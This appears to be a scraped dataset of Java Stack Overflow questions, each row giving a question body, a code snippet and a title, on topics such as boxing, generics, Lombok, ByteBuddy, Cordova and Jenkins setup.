cipher implementation in Java +Java,"Consider : Clearly , each boxing instruction allocates a separate instance of a boxed Int32 , which is why reference-equality between them fails . This page appears to indicate that this is specified behaviour : The box instruction converts the 'raw ' ( unboxed ) value type into an object reference ( type O ) . This is accomplished by creating a new object and copying the data from the value type into the newly allocated object.But why does this have to be the case ? Is there any compelling reason why the CLR does not choose to hold a `` cache '' of boxed Int32s , or even stronger , common values for all primitive value-types ( which are all immutable ) ? I know Java has something like this.In the days of no-generics , would n't it have helped out a lot with reducing the memory requirements as well as GC workload for a large ArrayListconsisting mainly of small integers ? I 'm also sure that there exist several modern .NET applications that do use generics , but for whatever reason ( reflection , interface assignments etc . ) , run up large boxing-allocations that could be massively reduced with ( what appears to be ) a simple optimization.So what 's the reason ? Some performance implication I have n't considered ( I doubt if testing that the item is in the cache etc . will result in a net performance loss , but what do I know ) ? Implementation difficulties ? Issues with unsafe code ? Breaking backwards compatibility ( I ca n't think of any good reason why a well-written program should rely on the existing behaviour ) ? Or something else ? EDIT : What I was really suggesting was a static cache of `` commonly-occurring '' primitives , much like what Java does . For an example implementation , see Jon Skeet 's answer . I understand that doing this for arbitrary , possibly mutable , value-types or dynamically `` memoizing '' instances at run-time is a completely different matter.EDIT : Changed title for clarity .","int a = 42 ; // Reference equality on two boxed ints with the same valueConsole.WriteLine ( ( object ) a == ( object ) a ) ; // False// Same thing - listed only for clarityConsole.WriteLine ( ReferenceEquals ( a , a ) ) ; // False","Why is boxing a primitive value-type in .NET uncached , unlike Java ?" +Java,"I have the following code , When I run this code it takes time approx 700 to 800 ms , but when I replace the line Arrays.parallelSort to Arrays.sort it takes 500 to 600 ms . I read about the Arrays.parallelSort and Arrays.sort method which says that Arrays.parellelSort gives poor performance when dataset are small but here I am using array of 1000000 elements . what could be the reason for parallelSort poor performance ? ? I am using java8 .",import java.util.Arrays ; public class ParellelStream { public static void main ( String args [ ] ) { Double dbl [ ] = new Double [ 1000000 ] ; for ( int i=0 ; i < dbl.length ; i++ ) { dbl [ i ] =Math.random ( ) ; } long start = System.currentTimeMillis ( ) ; Arrays.parallelSort ( dbl ) ; System.out.println ( `` time taken : '' + ( ( System.currentTimeMillis ( ) ) -start ) ) ; } },Arrays.sort and Arrays.parallelSort function behavior +Java,"This is jdk1.7.0_04.I was attempting to use Collections.emptyList ( ) rather than newing up my own empty list in a conditional : but get the following error : I was able to figure that I needed to change things to : But as part of working on this I encountered the bizarre ( to me , anyways ) situation that : compiles fine , but : gives the following compile error : What the heck ? ? Now I can understand that perhaps for some strange reason the use of the conditional operator is somehow blocking the type inference system from realizing that the type parameter for the emptyList ( ) call should be String and so it needs to be explicitly specified . But why does inserting a ( admittedly redundant ) cast mess things up ?",List < String > list = ( anArray ! = null ) ? Arrays.asList ( anArray ) : Collections.emptyList ( ) ; error : incompatible types List < String > list = ( anArray ! = null ) ? Arrays.asList ( anArray ) : Collections.emptyList ( ) ; ^ required : List < String > found : List < CAP # 1 > where CAP # 1 is a fresh type-variable : CAP # 1 extends Object from capture of ? extends Object1 error List < String > list = ( anArray ! = null ) ? Arrays.asList ( anArray ) : Collections. < String > emptyList ( ) ; List < String > alwaysEmpty = Collections.emptyList ( ) ; List < String > alwaysEmpty = ( List < String > ) Collections.emptyList ( ) ; error : inconvertible types List < String > alwaysEmpty = ( List < String > ) Collections.emptyList ( ) ; ^ required : List < String > found : List < Object >,Strange type inference behavior of Collections.emptyList ( ) and/or Java generic methods ? +Java,"I 'm trying to use gen-class to override the compare ( WriteableComparable a , WriteableComparable b ) method in this class in clojure . The complication comes from the fact that this method is overloaded 3 times : int compare ( WritableComparable a , WritableComparable b ) int compare ( Object a , Object b ) int compare ( byte [ ] b1 , int s1 , int l1 , byte [ ] b2 , int s2 , int l2 ) So far my attempt looks like this : Everything compiles , but when I run it , I 'm getting a null pointer exception , and I suspect that it is because I overrode the wrong method ( i.e . the compare ( Object a , Object b ) instead of the intended compare ( WritableComparable a , WritableComparable b ) ) . For reference , the Object version of compare calls through to the WriteableComparable version.It 's totally possible that the NPE is coming from something else , but I 've at least narrowed it down to this clojure code ( when I run it with the corresponding Java version , things work well ) .Is there a way to specify which overloaded version of the method should be used ? ( I tried adding a : methods clause into the gen-class call , but I learned that one should declare only new methods , not superclass methods . )",( gen-class : name comparators.MyWriteableComparator : extends org.apache.hadoop.io.WritableComparator : exposes-methods { compare superCompare } : prefix `` interop- '' ) ( defn interop-compare ( [ this a b c d e f ] ( .superCompare this a b c d e f ) ) ( [ this ^WritableComparable w1 ^WritableComparable w2 ] ( .compareTo ( .getSymbol ^SymbolPair w1 ) ( .getSymbol ^SymbolPair w2 ) ) ) ),Clojure gen-class for overloaded and overridden methods +Java,"I am developing a largish hierarchy of Java classes , some of which have a particular property that I am interested in querying at runtime ( the property definitely only applies to classes , not specific instances ) .I could create an abstract boolean method isFooBar ( ) that subclasses could implement to indicate whether the property is present or not : Or alternatively I could use a marker interface FooBarProperty and do an instanceof check against the interface : Or I guess you could even use an annotation as suggested by AmitD : What are the pros and cons of each method , and which should normally be preferred ?",public abstract class MyBaseClass { ... public abstract boolean isFooBar ( ) ; } public class MyConcreteClass extends MyBaseClass implements FooBarProperty { ... } @ FooBarAnnotationpublic class MyConcreteClass extends MyBaseClass { ... },Marker interface or boolean method to identify object capabilities ? +Java,"I have the following class : This compiles fine under JDK 7 's javac , as well as eclipse ( with compliance set to 1.7 or 1.8 ) . However , attempting to compile under JDK 8 's javac , I get the following error : Note that this error applies only to the constructor invocation in the ambigous ( ) method , not the one in the notAmbiguous ( ) method . The only difference is that ambiguous ( ) is relying on the diamond operator.My question is this : Is javac under JDK 8 properly flagging an ambiguous resolution , or was javac under JDK 7 failing to catch an ambiguity ? Depending on the answer , I need to either file a JDK bug , or an ecj bug .","import java.util.HashSet ; import java.util.List ; public class OverloadTest < T > extends HashSet < List < T > > { private static final long serialVersionUID = 1L ; public OverloadTest ( OverloadTest < ? extends T > other ) { } public OverloadTest ( HashSet < ? extends T > source ) { } private OverloadTest < Object > source ; public void notAmbigious ( ) { OverloadTest < Object > o1 = new OverloadTest < Object > ( source ) ; } public void ambigious ( ) { OverloadTest < Object > o2 = new OverloadTest < > ( source ) ; } } [ ERROR ] src/main/java/OverloadTest.java : [ 18,35 ] reference to OverloadTest is ambiguous [ ERROR ] both constructor < T > OverloadTest ( OverloadTest < ? extends T > ) in OverloadTest and constructor < T > OverloadTest ( java.util.HashSet < ? extends T > ) in OverloadTest match",Ambiguous overload in Java8 - is ECJ or javac right ? +Java,"OK. ScriptEngine.eval ( String string ) evaluates a string in its entirety , and ScriptEngine.eval ( Reader reader ) evaluates the input from a Reader in its entirety.So if I have a file , I can open a FileInputStream , wrap a Reader around it , and call scriptEngine.eval ( reader ) . If I have a complete statement as a string , I can call scriptEngine.eval ( string ) .What do I do if I need to implement an interactive interpreter ? I have a user who is interactively typing in a multiline statement , e.g.If I read the input line by line , and use the String form of eval ( ) , I 'll end up passing it incomplete statements , e.g . function f ( ) { and get an error.If I pass in a Reader , the ScriptEngine will wait forever until the input is complete , and it 's not interactive.Help ! Just to clarify : the problem here is that I can only pass ScriptEngine.eval ( ) complete statements , and as the customer of ScriptEngine , I do n't know when an input line is complete without some help from the ScriptEngine itself.Rhino 's interactive shell uses Rhino 's Context.stringIsCompilableUnit ( ) ( see LXR for usage and implementation ) .",function f ( ) { return 3 ; },jsr223 + writing a script interpreter +Java,"I want to show the number of search results that are going to appear in the table , is there a way to show the number of elements or do you have to compute it , ie I want to show something like this : The `` s '' correctly shows when there is more than one search result , but the $ results.size $ returns nothing . Not sure if it matters , but im using Java , so its a List thats being passed in .",Found $ results.size $ result $ if ( rest ( contacts ) ) $ s $ endif $ .,How do you show list length in StringTemplate +Java,I 'm building a Jenkins Docker image and I will like to automate the installation of Maven 3 and Java 8 last JDK . But unfortunately I use these two groovy files locate into the groovy folder : groovy/java.groovy : groovy/maven.groovy : and then I run the command : Unfortunately this returns an error : I 'm just wondering if the groovy files are wrong or if there is something else I missed ? How can I automate the maven/java installation for Jenkins while running a docker run ? Or is there another way to do it ?,"import jenkins.model . *import hudson.model . *import hudson.tools . *def inst = Jenkins.getInstance ( ) def desc = inst.getDescriptor ( `` hudson.model.JDK '' ) def versions = [ `` jdk8 '' : `` jdk-8u202 '' ] def installations = [ ] ; for ( v in versions ) { def installer = new JDKInstaller ( v.value , true ) def installerProps = new InstallSourceProperty ( [ installer ] ) def installation = new JDK ( v.key , `` '' , [ installerProps ] ) installations.push ( installation ) } desc.setInstallations ( installations.toArray ( new JDK [ 0 ] ) ) desc.save ( ) import jenkins . * ; import jenkins.model . * ; import hudson . * ; import hudson.model . * ; mavenName = `` maven3 '' mavenVersion = `` 3.6.0 '' println ( `` Checking Maven installations ... '' ) // Grab the Maven `` task '' ( which is the plugin handle ) .mavenPlugin = Jenkins.instance.getExtensionList ( hudson.tasks.Maven.DescriptorImpl.class ) [ 0 ] // Check for a matching installation.maven3Install = mavenPlugin.installations.find { install - > install.name.equals ( mavenName ) } // If no match was found , add an installation.if ( maven3Install == null ) { println ( `` No Maven install found . Adding ... '' ) newMavenInstall = new hudson.tasks.Maven.MavenInstallation ( 'maven3 ' , null , [ new hudson.tools.InstallSourceProperty ( [ new hudson.tasks.Maven.MavenInstaller ( mavenVersion ) ] ) ] ) mavenPlugin.installations += newMavenInstall mavenPlugin.save ( ) println ( `` Maven install added . '' ) } else { println ( `` Maven install found . Done . '' ) } docker run -p 8080:8080 -v ` pwd ` /groovy : /var/jenkins_home/jobs -- rm -- name jenkinsdocker jenkinsdocker : latest java.io.IOException : jenkins.model.InvalidBuildsDir : $ { ITEM_ROOTDIR } /builds does not exist and probably can not be created",How to automate Maven and Java JDK8 installation with groovy for Jenkins ? +Java,Is that program takes more memory or even worse affect performance of the software/app than the program that has no unused imports ?,import java.io . * ; class Myclass { //Some programming code that does not call any java io package methods or variables },Do unused imports in java effects performance and consume memory ? +Java,"I have already written the code , but the thing is I feel there could be better way to write the below code , This must be possible only from Java 8I expect to write the above in one line",private User getUser ( String userId ) { Optional < User > optionalUser = userDAO.getUserById ( userId ) ; if ( optionalUser.isPresent ( ) ) return optionalUser.get ( ) ; throw new UserDefinedException ( `` User not present '' ) ; },What is the better way to use Optional in conditions ? +Java,"I have the following code : When trying to reference isMatch ( ) , I get : I have also tried removing the @ Builder annotation , but this does n't help .",import lombok.Builder ; import lombok.Getter ; @ Getter @ Builderpublic class NameParserResponse { private boolean match ; } public class Main { public static void main ( String [ ] args ) { NameParserResponse nameParserResponse = NameParserResponse.builder ( ) .build ( ) ; nameParserResponse.isMatch ( ) ; } } Ambiguous method call . BothisMatch ( ) in Response andisMatch ( ) in Response match,Ambiguous method call using Project Lombok +Java,"If I write this in Java : Does s only occupy 3 bytes in the memory ? If true , how JVM finds the end of the String object ? Does this take more bytes in memory ?",String s = `` abc '' ;,Does s take 3 bytes in Java ? when : String s = `` abc '' ; Java +Java,I am trying to make a native named query.I saw the linkresult-set-mapping-complex-mappingsthe number of columns i have is more than 20.Is there is way to map all columns in one goI am using hibernate 4.2,< sql-result-set-mapping name= '' BookAuthorMappingXml '' > < entity-result entity-class= '' org.thoughts.on.java.jpa.model.Author '' > < field-result name= '' id '' column= '' authorId '' / > < field-result name= '' firstName '' column= '' firstName '' / > < field-result name= '' lastName '' column= '' lastName '' / > < field-result name= '' version '' column= '' authorVersion '' / > < /entity-result > < entity-result entity-class= '' org.thoughts.on.java.jpa.model.Book '' > < field-result name= '' id '' column= '' id '' / > < field-result name= '' title '' column= '' title '' / > < field-result name= '' author '' column= '' author_id '' / > < field-result name= '' version '' column= '' version '' / > < /entity-result > < /sql-result-set-mapping >,hibernate native query mapping +Java,"Referring to the SimpleDateFormat docs , the pattern character for representing years is y , so we have representations like yy and yyyy ( 13 , 2013 respectively ) . That 's fine.When I output the DEFAULT / SHORT / MEDIUM / LONG / FULL patterns for most locales , I get something along these lines : ( EG : New Zealand ) However looking at some locales , eg France , I get this : Obviously here aaaa is a representation of the year , but what 's the distinction in intent between yyyy and aaaa ? IE : why do they use aaaa instead of just yyyy.Initially I thought it might be something along the lines of French for `` [ y ] ear '' is `` [ a ] nnée '' ( and `` [ d ] ay '' is `` [ j ] our '' , but I see it 's also aaaa for Hungarian ( and many other locales ) , and Hungarian for `` year '' is `` év '' ( day `` nap '' ) , so I think the `` a '' / `` année '' correlation I 'm making is coincidence.So what is the difference one is supposed to infer here ? I googled about , but drew a blank . Also it might be as obvious as an obvious thing to a Java dev , but I 'm just a CFML dev who simply bolts Java into my CFML occasionally when Java does something more expediently than I can do it in native CFML . So sorry if it 's a dumb question .","Default : d/MM/yyyyShort : d/MM/yyMedium : d/MM/yyyyLong : d MMMM yyyyFull : EEEE , d MMMM yyyy Default : j MMM aaaaShort : jj/MM/aaMedium : j MMM aaaaLong : j MMMM aaaaFull : EEEE j MMMM aaaa",In the context of year values how does `` aaaa '' differ from `` yyyy '' ? +Java,"I am using SimpleXML framework for deserializing backend answers . I made some assumptions about elements . Some elements do not meet these requirements . For example , I expect an element to have childs < ID > and < face > . If my user is not allowed to see a specific element , I might get an answer like this : Which gives me a ValueRequiredException for the following deserialization class : I would like to ignore these objects with type hiddenobject . I learned about the VisitorStrategy and implemented a simple Visitor like so : and added this Visitor to a VisitorStrategyexpecting that this would skip nodes during deserialization . I do get log entries stating that the node would be skipped . Anyway , the VisitorStrategy seems to keep parsing the node to be skipped , resulting in a ValueRequiredException.How can I ignore nodes having a given attribute ? Is it possible to use VisitorStrategy for this task ?","< list > < voucher type= '' hiddenobject '' > < face > foo < /face > < /voucher > < voucher type= '' object '' > < ID > 42 < /ID > < face > bar < /face > < /voucher > < /list > @ Rootclass Voucher { @ Element ( name= '' ID '' ) private String id ; @ Element private String face ; } private static final class HiddenObjectVisitor implements Visitor { @ Override public void read ( Type type , NodeMap < InputNode > node ) throws Exception { String nodeType = node.getNode ( ) .getAttribute ( `` type '' ) .getValue ( ) ; if ( nodeType ! = null & & nodeType.equals ( `` hiddenobject '' ) ) { Log.d ( TAG , `` skipping node `` + node ) ; node.getNode ( ) .skip ( ) ; } } @ Override public void write ( Type type , NodeMap < OutputNode > node ) throws Exception { // stub } } VisitorStrategy strategy = new VisitorStrategy ( new HiddenObjectVisitor ( ) ) ;",How to skip specific element in SimpleXML +Java,I know how to create a BEFORE constructor interceptor : I know how to create an AFTER constructor interceptor : With the following interceptor : However I do n't know how to create a before/after interceptor . Here is what I tried ( naive approach based on what already worked for methods ) : With this method delegate : With this setup I get : Full stack trace :,"return builder.constructor ( isDeclaredBy ( typeDescription ) ) .intercept ( MethodDelegation.to ( constructorInterceptor ) .andThen ( SuperMethodCall.INSTANCE ) ) ; return builder.constructor ( isDeclaredBy ( typeDescription ) ) .intercept ( SuperMethodCall.INSTANCE .andThen ( MethodDelegation.to ( constructorInterceptor ) ) ) ; public void intercept ( @ Origin Constructor < ? > constructor ) { System.out.println ( `` intercepted `` + constructor.getName ( ) ) ; } return builder.constructor ( isDeclaredBy ( typeDescription ) ) .intercept ( MethodDelegation.to ( constructorInterceptor ) ) ; public void intercept ( @ Origin Constructor < ? > constructor , @ SuperCall Callable < ? > zuper ) throws Exception { System.out.println ( `` before `` + constructor.getName ( ) ) ; zuper.call ( ) ; System.out.println ( `` after `` + constructor.getName ( ) ) ; } java.lang.ClassFormatError : Bad method name at constant pool index 23 in class file com/flow/agent/test/Foo $ auxiliary $ syFGNB3u java.lang.IllegalStateException : Error invoking java.lang.ClassLoader # findClass at net.bytebuddy.dynamic.loading.ClassInjector $ UsingReflection $ Dispatcher $ Resolved.loadClass ( ClassInjector.java:392 ) at net.bytebuddy.dynamic.loading.ClassInjector $ UsingReflection.inject ( ClassInjector.java:201 ) at net.bytebuddy.agent.builder.AgentBuilder $ InitializationStrategy $ SelfInjection $ Dispatcher $ Split.register ( AgentBuilder.java:1017 ) at net.bytebuddy.agent.builder.AgentBuilder $ Default $ Transformation $ Simple $ Resolution.apply ( AgentBuilder.java:2795 ) at net.bytebuddy.agent.builder.AgentBuilder $ Default $ ExecutingTransformer.transform ( AgentBuilder.java:3081 ) at sun.instrument.TransformerManager.transform ( TransformerManager.java:188 ) at sun.instrument.InstrumentationImpl.transform ( InstrumentationImpl.java:428 ) at java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:760 ) at java.security.SecureClassLoader.defineClass ( SecureClassLoader.java:142 ) at java.net.URLClassLoader.defineClass ( URLClassLoader.java:467 ) at java.net.URLClassLoader.access $ 100 ( URLClassLoader.java:73 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:368 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:362 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( URLClassLoader.java:361 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:331 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) ... Caused by : java.lang.ClassFormatError : Bad method name at constant pool index 23 in class file com/flow/agent/test/Foo $ auxiliary $ syFGNB3u at java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:760 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:497 ) at net.bytebuddy.dynamic.loading.ClassInjector $ UsingReflection $ Dispatcher $ Resolved.loadClass ( ClassInjector.java:388 )",After and before constructor interceptor +Java,input : output :,"public static void main ( String [ ] args ) { final String key = `` some key '' ; final String value = `` some value '' ; Map < String , String > map1 = new HashMap < String , String > ( ) { { put ( key , value ) ; } } ; System.out.println ( new Gson ( ) .toJson ( map1 ) + `` `` + map1.get ( key ) ) ; Map < String , String > map2 = new HashMap < > ( ) ; map2.put ( key , value ) ; System.out.println ( new Gson ( ) .toJson ( map2 ) + `` `` + map2.get ( key ) ) ; } null some value { `` some key '' : '' some value '' } some valueProcess finished with exit code 0",why do two seemingly identical hashmaps have different behavior when serialized by gson ? +Java,"I 'm trying to generate a license key with two strings combined both into another one string.The result of the combination should be like this : I split my strings every two spaces like this and I save into an array : How can I make the combination of my strings give me a result that looks like this : I hope someone could give me an idea how to solve this.I am trying to do something like this , but it is very poor method : And so on , but this is n't a good way to do it because the strings are going to change .","String key1 = `` X1X2X3X4..Xn '' ; //this is for the imei key cellphoneString key2 = `` Y1Y2Y3Y4M1M2D1D2H1H2m1m2 '' ; //this is a key to mix with the first one String result = `` D1H1X1X2X3Y2Y4X4X5 ... XnY3Y1D2m2m1H1H2 '' ; String [ ] key1splited = splitStringEvery ( key1 , 2 ) ; String [ ] key2splited = splitStringEvery ( key2 , 2 ) ; public String [ ] splitStringEvery ( String s , int interval ) { int arrayLength = ( int ) Math.ceil ( ( ( s.length ( ) / ( double ) interval ) ; String [ ] result = new String [ arrayLength ] ; int j = 0 ; int lastIndex = result.length - 1 ; for ( int i = 0 ; i < lastIndex ; i++ ) { result [ i ] = s.substring ( j , j + interval ) ; j += interval ; } result [ lastIndex ] = s.substring ( j ) ; return result ; } String result = `` D1H1X1X2X3Y2Y4X4X5 ... XnY3Y1D2m2m1H1H2 '' ; static String res = `` '' ; String [ ] key1splited = splitStringEvery ( key1 , 2 ) ; String [ ] key2splited = splitStringEvery ( key2 , 2 ) ; for ( int i = 0 ; i < key2splited.length ; i++ ) { if ( key2splited [ i ] .equals ( `` D1 '' ) ) { res = key2splited [ i ] ; } if ( key2splited [ i ] .equals ( `` H1 '' ) ) { res += key2splited [ i ] ; for ( int j = 0 ; j < key1splited.length ; j++ ) { if ( key1splited [ j ] .equals ( `` X1 '' ) ) { res += key1splited [ j ] ; } if ( key1splited [ j ] .equals ( `` X2 '' ) ) { res += key1splited [ j ] ; } if ( key1splited [ j ] .equals ( `` X3 '' ) ) { res += key1splited [ j ] ; } } } }",How combine two strings with random position android +Java,"Intent : I 'm using the java.lang.instrument package to create some instrumentation for Java programs . The idea is that I use bytecode manipulation via this system in order to add method calls at the beginning and end of each method . Generally speaking , a modified Java method would look like : MyFancyProfiler is an entry point to a relatively complex system that gets initialized during the premain method ( which is part of java.lang.instrument ) .edit - MyFancyProfiler contains a static API that will get a reference to the rest of the system through a mechanism like the one described in the solution to this question . The reference is obtained as an Object , and the appropriate calls are made via reflection , so that even if the current ClassLoader does n't know about the underlying classes , it will still work.DifficultiesFor a simple Java program , the approach works fine . For `` real '' apps ( like windowed applications , and especially RCP/OSGi applications ) , I ran into issues with ClassLoaders . Some ClassLoaders wo n't know how to find the MyFancyProfiler class , so it will throw Exceptions when it tries to call the static methods in MyFancyProfiler.My solution to this ( and where my real problem is happening ) is currently to `` inject '' MyFancyProfiler into each encountered ClassLoader by reflectively calling defineClass . The gist of it is : edit for more info - The reason for this injection is to ensure that every class , no matter which ClassLoader loaded it , will be able to call MyFancyProfiler.methodEntered directly . Once it makes that call , MyFancyProfiler will need to use reflection to interact with the rest of the system , or else I will get an InvocationTargetException or NoClassDef exception when it tries to refer directly . I currently have it working so that the only `` direct '' dependencies of MyFancyProfiler are JRE system classes , so it seems to be fine.ProblemThis even works ! Most of the time ! But for at least two separate ClassLoaders that I encounter while trying to trace Eclipse ( launching the IDE from the command line ) , I get a NullPointerException coming from inside the ClassLoader.defineClass method : Line 500 of ClassLoader.java is a call to domains.add ( pd ) , where domains seems to be a Set that gets initialized at constructor time , and pd is a ProtectionDomain that ( as far as I can tell ) should be the `` default '' ProtectionDomain . So I do n't see an obvious way for that line to cause a NullPointerException . Currently I 'm stumped , and I 'm hoping that somebody can offer some insight into this.What could cause the defineClass to fail in this way ? And in case there 's no obvious solution , can you offer a potential alternative approach to my overall problem ?","public void whateverMethod ( ) { MyFancyProfiler.methodEntered ( `` whateverMethod '' ) ; //the rest of the method as usual ... MyFancyProfiler.methodExited ( `` whateverMethod '' ) ; } public byte [ ] transform ( ClassLoader loader , String className , /* etc ... */ ) { if ( /* this is the first time I 've seen loader */ ) { //try to look up ` MyFancyProfiler ` in ` loader ` . if ( /* loader ca n't find my class */ ) { // get the bytes for the MyFancyProfiler class // reflective call to // loader.defineClass ( // `` com.foo.bar.MyFancyProfiler '' , classBytes , 0 , classBytes.length ) ; } } // actually do class transformation via ASM bytecode manipulation } java.lang.NullPointerException at java.lang.ClassLoader.checkPackageAccess ( ClassLoader.java:500 ) at java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:791 ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:634 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:601 ) // at my code that calls the reflection",Java Bytecode Instrumentation : NullPointerException in reflective call to defineClass +Java,"I have a Class MainWindow which extends JFrame.In MainWindow i have a JMenuBar.I want to show the MenuBar in OSX on top ( next to the Apple Symbol ) . This only works , when i dont set a Substance Skin . Is it possible to use a Substance Skin and use The MacOS MenuBar ? My Code :","//Set Menu for MacOSSystem.setProperty ( `` apple.laf.useScreenMenuBar '' , `` true '' ) ; System.setProperty ( `` com.apple.mrj.application.apple.menu.about.name '' , name ) ; try { SwingUtilities.invokeAndWait ( new Runnable ( ) { public void run ( ) { SubstanceSkin skin = new GraphiteGlassSkin ( ) ; SubstanceLookAndFeel.setSkin ( skin ) ; //WORKS WHEN I COMMENT THIS ( WITHOUT SUBSTANCE SKIN ) JFrame.setDefaultLookAndFeelDecorated ( false ) ; MainWindow mainWindow = new MainWindow ( name ) ; mainWindow.setVisible ( true ) ; } } ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( InvocationTargetException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; }",Substance and MacOS MenuBar +Java,Let 's have a case : Does it differ from this one ?,x.stream ( ) .filter ( X : :isFlag ) .filter ( this : :isOtherFlag ) .reduce ( ... ) x.stream ( ) .filter ( predicate ( X : :isFlag ) .and ( this : :isOtherFlag ) ) .reduce ( ... ),Does Java compiler optimize stream filtering ? +Java,"so I have an existing app that has been on the app store for quite some time , as of 3 days ago I was getting more support enquiries saying my app could not connect to my service.Now it has finally happened to me on my Android devices - everything works perfectly for iOS , and perfectly for Android on Emulator - but nothing in the real world.I have looked as far as I can by step-debugging with Cordova and it passes the whitelist test fine . My very first XHR request works fine , but subsequent ones always fail until I completely close the app and re-open.I am using cordova-plugin-whitelist @ 1.3.4 - I have also tried cordova-plugin-whitelist @ 1.0.0My Content-Security-Policy looks like thisMy Cordova config has I have tried adding/removing/replacing the above/every combination with < access origin= '' * '' / > but no luck.My XHR response always looks like the followingI have step-debugged the XHR request as far as I could have in the Cordova Plugin , by step debugging out of the Whitelist.java but everything returns fine and it makes it successfully to the lineof functionin org.apache.cordova.engine.SystemWebViewClient.javaMy Android Manifest has the followingI am using Cordova @ 8.0.0 , Cordova platform Android @ 8.0.0I 've spent several hours trying to dig deeper , what am I missing here ? Any help would be greatly appreciated !","< meta http-equiv= '' Content-Security-Policy '' content= '' default-src * 'self ' gap : ; img-src http : //*.my-site.com.au https : //*.my-site.com.au https : //*.my-site.com http : //*.my-site.com https : //*.googleusercontent.com http : //*.googleapis.com https : //google.com https : //*.google.com https : //*.googleapis.com https : //*.gstatic.com 'self ' data : ; style-src http : //*.googleapis.com https : //*.googleapis.com 'self ' 'unsafe-inline ' ; script-src 'self ' https : //*.googleapis.com http : //*.googleapis.com http : //maps.google.com http : //*.gstatic.com https : //*.gstatic.com https : //maps.google.com 'unsafe-inline ' 'unsafe-eval ' '' > < allow-navigation href= '' * '' / > < allow-navigation href= '' http : //*/* '' / > < allow-navigation href= '' https : //*/* '' / > xhr.responseUrl = `` http : //my-site.com/ ? d=12343902i49 '' xhr.status = 0xhr.responseText = `` '' // If we do n't need to special-case the request , let the browser load it.return null ; WebResourceResponse shouldInterceptRequest ( WebView view , String url ) < uses-sdk android : minSdkVersion= '' 19 '' android : targetSdkVersion= '' 28 '' / > < uses-permission android : name= '' android.permission.WRITE_EXTERNAL_STORAGE '' / > < uses-permission android : name= '' android.permission.WRITE_INTERNAL_STORAGE '' / > < uses-permission android : name= '' android.permission.ACCESS_COARSE_LOCATION '' / > < uses-permission android : name= '' android.permission.ACCESS_FINE_LOCATION '' / > < uses-permission android : name= '' android.permission.READ_EXTERNAL_STORAGE '' / > < uses-feature android : name= '' android.hardware.location.gps '' / > < uses-permission android : name= '' android.permission.RECORD_AUDIO '' / > < uses-permission android : name= '' android.permission.MODIFY_AUDIO_SETTINGS '' / > < uses-permission android : name= '' android.permission.READ_PHONE_STATE '' / > < uses-permission android : name= '' android.permission.RECORD_VIDEO '' / > < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < uses-permission android : name= '' android.permission.CAMERA '' / > < uses-permission android : name= '' android.permission.FLASHLIGHT '' / > < uses-feature android : name= '' android.hardware.camera '' android : required= '' true '' / > < uses-permission android : name= '' android.permission.WAKE_LOCK '' / > < uses-permission android : name= '' android.permission.VIBRATE '' / >","Cordova - XHR Requests on Android work in Emulator , but not on Phones" +Java,"In Android Studio , the following code has the variable commandBytes colored to indicate an `` implicit anonymous class parameter '' : I ca n't figure out what this means . The description on JetBrains ' help site is n't really helping : `` That 's a local variable which is used by an anonymous or local class inside the method and thus becomes a field of the anonymous class . '' How does this apply ? Is it something I need to worry about ?","public boolean writeCommand ( byte [ ] commandBytes ) { if ( writeCommandInProgress.compareAndSet ( false , true ) ) { writeSubscription = bleDevice .establishConnection ( asBleServiceRef , false ) .flatMap ( rxBleConnection - > rxBleConnection.writeCharacteristic ( asInputCharId , commandBytes ) ) .subscribe ( characteristicValue - > { writeCommandInProgress.set ( false ) ; if ( ! Arrays.equals ( characteristicValue , commandBytes ) ) Log.d ( LOG_TAG , `` Data read back from writeCommand ( ) does n't match input '' ) ; } , throwable - > Log.d ( LOG_TAG , `` Error in writeCommand : `` + commandBytes.toString ( ) + `` ; `` + throwable.getMessage ( ) ) ) ; return true ; } else return false ; }",What does `` implicit anonymous class parameter '' mean in this context ? +Java,For the following simplified class : I guess the general question is for mutable variables guarded by synchronization is it necessary to synchronize when setting the initial value in the constructor ?,public class MutableInteger { private int value ; public MutableInteger ( int initial ) { synchronized ( this ) { // is this necessary for memory visibility ? this.value = initial ; } } public synchronized int get ( ) { return this.value ; } public synchronized void increment ( ) { this.value++ ; } ... },Java Memory Visibility In Constructors +Java,Given the following three kotlin classes : I am unable to compile following lines in java code : Error says : SomeClass < java.util.List < ? extends Type > > in Class can not be applied to SomeClass < java.util.List < Type > > I am still new to kotlin and this might be something very small but I ca n't seem to figure it out . I will appreciate any help .,abstract class UseCase < T > { fun execute ( action : Action < T > ) { } } class ConcreteUseCase : UseCase < List < String > > ( ) class Action < T > ConcreteUseCase s = new ConcreteUseCase ( ) ; s.execute ( new Action < List < String > > ( ) ) ; // < < < < < < < compilation error,Kotlin Generics Error in Java +Java,"In my database , I have entries with multiple songs . This is what it the DB looks like , and what is showing in the display : In my app , I was able to use a hashmap to assign each unique song with a counter . Now , in the Firebase RecyclerView Adapter it only shows the last entry in the database . Here is the code : Instead of just the value showing in the recyclerview as `` Rick Ross - Gold Roses ( feat.Drake ) '' with a 1 badge saying theres only one occurrence in the DB , I want it to display `` Ginuwine - So Anxious '' 